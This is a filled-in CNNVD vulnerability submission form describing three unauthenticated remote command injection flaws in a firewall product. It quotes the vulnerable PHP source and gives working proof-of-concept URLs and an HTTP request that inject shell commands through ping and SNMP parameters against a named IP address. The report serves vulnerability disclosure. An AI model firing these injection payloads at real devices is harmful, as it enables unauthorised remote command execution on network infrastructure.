**CNNVD未公开漏洞外部提交表**

|  |  |
| --- | --- |
| **漏洞基本信息** | |
| **漏洞名称** | xxxxxx有限公司xxxxxxx防火墙多处远程命令执行漏洞 |
| **受影响实体版本号** | xxxxxxx系列 |
| **漏洞类型** | 命令注入 |
| **危害等级** | 高 |
| **漏洞简介** | 产品简介…………………………………。  XXXXXXXXXXXXXX防火墙存在命令注入漏洞系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数，同时调用的变量未考虑安全因素，就会执行恶意的命令调用，被攻击利用。应用中，因为是由程序拼凑命令行（包括参数）来实现调用外部程序的，因此用户也能够通过小计量来突破限制，实现调用其他外部程序。OS命令注入和 SQL 注入差不多，只不过 SQL 注入是针对数据库的，而 OS 命令注入是针对操作系统的。OS 命令注入即能够在服务器上执行任意命令，危害性极大。 |
| **提交人员基本信息** | |
| **提交机构** |  |
| **提交人员** |  |
| **联系方式** |  |
| **提交日期** |  |
| **漏洞验证** | |
| **漏洞定位** | /Program/Tools/call\_command\_IPv6.php  /Program/Tools/call\_command.php  /Program/Tools/snmp\_test.php |
| **漏洞触发条件** | 无需登录可直接进行远程命令注入攻击 |
| **漏洞验证过程** | **一、缺陷文件：/Program/Tools/call\_command\_IPv6.php**  从系统入口进入，看看全局有什么设置  比如全局过滤，伪全局机制，全局判断登录验证等等  知道了系统的全局过滤处理及参数值传输过程之后就好办  下面以查找命令执行=无需登陆命令执行漏洞为例  首先NDF7050系列防火墙系统是需要登录才能操作的  通过读取系统源码知道了每个文件的带有：  $AdminUser->checkLogin()变量验证登录状态的。使用find搜索语法筛选出不包括该变量的php文件，  <?  include\_once("/PDATA/apache/class/Comm.php");  if(isset($\_GET["fl"])) {  if(is\_file("/tmp/$\_GET[fl]")) {  echo file\_get\_contents("/tmp/$\_GET[fl]");  } else {  echo "null";  }  } else {  $sn = time();  $filename = "ping6\_result\_{$sn}";  $fp = fopen("/tmp/{$filename}.sh", "w");  fwrite($fp, "#!/bin/sh\n");  for($i = 1; $i <= 4; $i++) {  $runCmd = array();  $runCmd[] = "/bin/ping6 -c 1 -i 1 -w 1 $\_GET[ipv6] > /tmp/{$filename}\_{$i}";  $runCmd[] = "if [ $? -eq 0 ]; then";  if($i == 1) {  $runCmd[] = " /bin/sed -n '1,1p' /tmp/{$filename}\_{$i} >> /tmp/{$filename}";  }  $runCmd[] = " /bin/sed -n '2,2p' /tmp/{$filename}\_{$i} | /bin/sed 's/icmp\_seq=1/icmp\_seq={$i}/g' >> /tmp/{$filename}";  $runCmd[] = " sleep 1";  $runCmd[] = "else";  if($i == 1) {  $runCmd[] = " /bin/sed -n '1,1p' /tmp/{$filename}\_{$i} >> /tmp/{$filename}";  }  $runCmd[] = " /bin/echo 'time out' >> /tmp/{$filename}";  $runCmd[] = "fi";  $runCmd[] = "";    fwrite($fp, implode("\n", $runCmd));  }  fwrite($fp, "sleep 5\n");  fwrite($fp, "/bin/rm /tmp/{$filename}\*\n");  fclose($fp);  exec("/bin/chmod 755 /tmp/{$filename}.sh");  exec("/bin/nohup /tmp/{$filename}.sh > /dev/null 2>&1 &");    echo $filename;  }  ?>  其/Program/Tools/call\_command\_IPv6.php文件，源代码如下：    从这里18行可以看出，执行系统命令ping6命令时候没有任何判断，将参数ipv6拼接到命令中直接执行；  漏洞复现参数构造：  通过&字符拼接命令，需要urlencode编码，漏洞利用payload：  <https://220.163.251.198/Program/Tools/call_command_IPv6.php?ipv6=127.0.0.1%26touch%20888ip.txt>    执行touch新建文件命令，新建文本888ip.txt    **二、缺陷文件：/Program/Tools/call\_command.php**  首先XXXXXXXXXXXX系列防火墙系统是需要登录才能操作的  通过读取系统源码知道了每个文件的带有：  $AdminUser->checkLogin()变量验证登录状态的。使用find搜索语法筛选出不包括该变量的php文件，  其/Program/Tools/call\_command.php文件，源代码如下：  <?  include\_once("/PDATA/apache/class/Comm.php");  if(isset($\_GET["fl"])) {  if(is\_file("/tmp/$\_GET[fl]")) {  echo file\_get\_contents("/tmp/$\_GET[fl]");  } else {  echo "null";  }  } else {  $sn = time();  $filename = "ping\_result\_{$sn}";  $ping\_interface = get\_ethinfo($\_GET["p\_wp"], $\_GET["p\_ip"]);  $fp = fopen("/tmp/{$filename}.sh", "w");  fwrite($fp, "#!/bin/sh\n");  for($i = 1; $i <= $\_GET["p\_count"]; $i++) {  $runCmd = array();  $runCmd[] = "/PGRAM/ping -s $\_GET[p\_pkts] -c 1 -i $\_GET[p\_wait] -I $ping\_interface $\_GET[p\_ip] -w $\_GET[p\_wait] > /tmp/{$filename}\_{$i}";  $runCmd[] = "if [ $? -eq 0 ]; then";  if($i == 1) {  $runCmd[] = " /bin/sed -n '1,1p' /tmp/{$filename}\_{$i} >> /tmp/{$filename}";  }  $runCmd[] = " /bin/sed -n '2,2p' /tmp/{$filename}\_{$i} | /bin/sed 's/icmp\_seq=1/icmp\_seq={$i}/g' >> /tmp/{$filename}";  $runCmd[] = " sleep $\_GET[p\_wait]";  $runCmd[] = "else";  if($i == 1) {  $runCmd[] = " /bin/sed -n '1,1p' /tmp/{$filename}\_{$i} >> /tmp/{$filename}";  }  $runCmd[] = " /bin/echo 'time out' >> /tmp/{$filename}";  $runCmd[] = "fi";  $runCmd[] = "";    fwrite($fp, implode("\n", $runCmd));  }  fwrite($fp, "sleep 5\n");  fwrite($fp, "/bin/rm /tmp/{$filename}\*\n");  fclose($fp);  exec("/bin/chmod 755 /tmp/{$filename}.sh");  exec("/bin/nohup /tmp/{$filename}.sh > /dev/null 2>&1 &");    echo $filename;  }  /\*\*  \* Function  \*/  function get\_ethinfo($dev, $dstIP){  if($dev=="eth0" || $dev=="eth1" || $dev=="eth2" || $dev=="eth3" || $dev=="eth4" || $dev=="eth5" || $dev=="eth6" || $dev=="eth01" || $dev=="eth02" || $dev=="eth03"){  //find out their own subnet getway ip  exec("/sbin/ip route | grep $dev", $ret);  foreach((Array)$ret as $line)  {  unset($match);  if(preg\_match('/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)\/([0-9]+) dev eth0?[0-6] proto kernel scope link src ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/', $line, $match))  {  $AA = ip2long($match[1]) >> (32 - $match[2]);  $BB = ip2long($dstIP) >> (32 - $match[2]);  if($AA == $BB) {  return $match[3];  }  }  }  //default getway ip  $cmd = "ip addr show ".$dev;  unset($msg);  unset($str1);  unset($str2);  exec($cmd,$msg);  $str1 = explode(" ",trim($msg[1]));  $str2 = explode(" ",trim($msg[2]));  $ipt = explode("/",$str2[1]);  return $ipt[0];  }else if($dev == "ppp4000"){  return get\_pppbydev($dev);  }else if($dev == "ppp4001"){  return get\_pppbydev($dev);  }else if($dev == "ppp4002"){  return get\_pppbydev($dev);  }else if($dev == "ppp4003"){  return get\_pppbydev($dev);  }else if($dev == "ppp4004"){  return get\_pppbydev($dev);  }else if($dev == "br0"){  return $dev;  }  }  function get\_pppbydev($dev){  $cmd = "ip addr show dev ".$dev;  unset($msg);  exec($cmd,$msg);  $str1 = explode(" ",trim($msg[1]));  $str2 = explode(" ",trim($msg[2]));  $ipt = explode("/",$str2[1]);  return $ipt[0];  }  ?>    从这里19行可以看出，执行系统命令ping命令时候没有任何判断，将参数p\_pkts、p\_wait、p\_ip拼接到命令中直接执行；  漏洞复现参数构造：    全局搜索指定参数后发现/Program/Tools/ping\_ip.php了解到各个参数功能作用，p\_pkts等于设置封包大小值（默认32Bytes）、p\_ip等于目标地址、p\_wp等于通信接口、p\_wait等于等待时间、p\_count回应次数。  通过&字符拼接命令，需要urlencode编码，漏洞利用payload：  https://220.163.251.198/Program/Tools/call\_command.php?p\_ip=127.0.0.1&p\_pkts=32&p\_count=10&p\_wait=2%26touch%20ccc.txt&p\_wp=eth1  执行touch新建文件命令，新建文本ccc.txt    **三、缺陷文件：/Program/Tools/snmp\_test.php**  首先xxxxxxx系列防火墙系统是需要登录才能操作的  通过读取系统源码知道了每个文件的带有：  $AdminUser->checkLogin()变量验证登录状态的。使用find搜索语法筛选出不包括该变量的php文件，  其/Program/Tools/snmp\_test.php文件，源代码如下：  <?  include\_once("/PDATA/apache/class/Comm.php");  $ip = $\_GET["switch\_ip"];  $read = $\_GET["switch\_read"];  $oid = $\_GET["switch\_oid"];  $vlan = (trim($\_GET["switch\_vlan"]) == "") ? "" : "@".$\_GET["switch\_vlan"];  $next\_oid = $\_GET["switch\_nextOid"];  $file = "/tmp/snmpTest";  if(trim($next\_oid) == "" && is\_file($file) == true) {  unlink($file);  }  test\_snmp\_val($ip, $read, $oid, $vlan, $next\_oid);  function test\_snmp\_val($ip, $read, $oid, $vlan, $next\_oid) {  if($oid == "") {  $oid = "iso.3.6.1.2.1.1";  $end\_oid = "iso.3.6.1.2.1.1.9.1.3.103";  get\_oid\_val($ip, $read, $oid, $vlan, $end\_oid, "all", $next\_oid);  } else {  get\_oid\_val($ip, $read, $oid, $vlan, $oid, "", $next\_oid);  }  }  function get\_oid\_val($ip, $read, $oid, $vlan, $end\_oid, $all, $next\_oid="") {  global $file;  unset($value);  $k = 0;  $break = false;  do {  if($next\_oid != "") {  $next\_oid = current(explode("=",$next\_oid));  exec("/PGRAM/SNMP/bin/snmpgetnext -t 1 -r 1 -v 2c -c $read$vlan $ip $next\_oid 2>/dev/null ",$value);  } else {  exec("/PGRAM/SNMP/bin/snmpgetnext -t 1 -r 1 -v 2c -c $read$vlan $ip $oid 2>/dev/null ",$value);  }  if($k > 3) {  $break = true;  break;  }  $k++;  }while(!$value);  if(($all == "" && stristr($next\_oid, $oid) == false && $next\_oid != "") || ($break == true)) {  echo "null";  } else {  $id = current(explode("=",$value[0]));  if(stristr($id, $oid) == true) {  exec("/bin/echo \"".$value[0]."\" >> ".$file);  }  echo trim($value[0]);  }  }  ?>    从这里32-36行可以看出，执行命令时候没有任何判断，将参数switch\_ip、switch\_nextOid、switch\_read、switch\_vlan、switch\_oid直接拼接到exec()函数中执行命令；  通过“|”管道字符拼接命令，漏洞利用payload：  漏洞复现参数构造：  GET /Program/Tools/snmp\_test.php?switch\_ip=|touch%20jjj1.txt&switch\_read=1&switch\_oid=1&switch\_vlan=10 HTTP/1.1  Host: 220.163.251.198  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  Accept-Encoding: gzip, deflate  Content-Type: application/x-www-form-urlencoded  Content-Length: 0  Connection: close  Upgrade-Insecure-Requests: 1  X-Forwarded-For: 127.0.0.1  https://220.163.251.198/Program/Tools/snmp\_test.php?switch\_ip=|touch%20jjj1.txt&switch\_read=1&switch\_oid=1&switch\_vlan=10    执行touch新建文件命令，新建文本jjj1.txt    **互联网案例：**  <https://................>  <https://................>  <https://...................>  <https://.....................>  ………………. |